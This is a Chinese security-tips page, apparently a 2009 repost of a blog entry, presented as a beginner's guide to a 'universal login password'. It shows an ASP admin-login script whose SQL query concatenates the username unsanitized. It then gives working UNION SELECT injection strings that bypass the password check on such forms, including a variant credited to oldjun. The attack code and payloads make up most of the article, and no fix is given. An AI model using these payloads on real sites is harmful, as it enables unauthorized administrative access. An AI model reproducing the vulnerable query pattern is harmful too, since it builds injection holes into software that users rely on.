当前位置:七道奇文章资讯安全技术菜鸟入门
日期:2009-08-10 16:27:00  来源:本站整理

ASP注入万能登陆密码[菜鸟入门]

赞助商链接



  本文“ASP注入万能登陆密码[菜鸟入门]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

  原文:http://hi.百度.com/yanfei6/blog/item/52b6572a4bdcd0305243c114.html

  《黑客手册》样刊里面,oldjun提到一种新的万能登陆密码.比方网上有很多这样的登陆考证代码:

  程序代码

  <%

  username=trim(Request.Form("username"))

  password=trim(Request.Form("password"))

  sql="Select * FROM admin Where user='"&username&"'"

  Set rs=Server.CreateObject("adodb.recordset")

  rs.Open sql,conn,1,1

  if rs.eof then

  checksysUser=FALSE

  else

  passwd=trim(rs("pwd"))

  if passwd=password then

  Session("admin")=username

  checksysUser=TRUE

  else

  checksysUser=FALSE

  end if

  End if

  rs.close

  conn.close

  if checksysUser=true then

  Response.Redirect("main.asp")

  else

  errmsg="<font color=#FF0000><b>用户名输入有误,请重新输入!</b></font>"

  end if

  %>

  先在数据库中查询用户名对应的密码,然后再和用户输入的密码比较,招致'or'='or'这样的万能登陆密码失效.

  但假如在上面的程序中,用户名输入 程序代码

  ' UNION Select 1,1,1 FROM admin Where ''='

  ,密码输入1,便可以登陆成功,原理很简单,就不多说了.

  趁便附上oldjun的语句:

  程序代码

  ' UNION Select 1,1,1 AS pwd FROM admin Where ''='


  以上是“ASP注入万能登陆密码[菜鸟入门]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:

  • ASP注入万能登陆密码
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .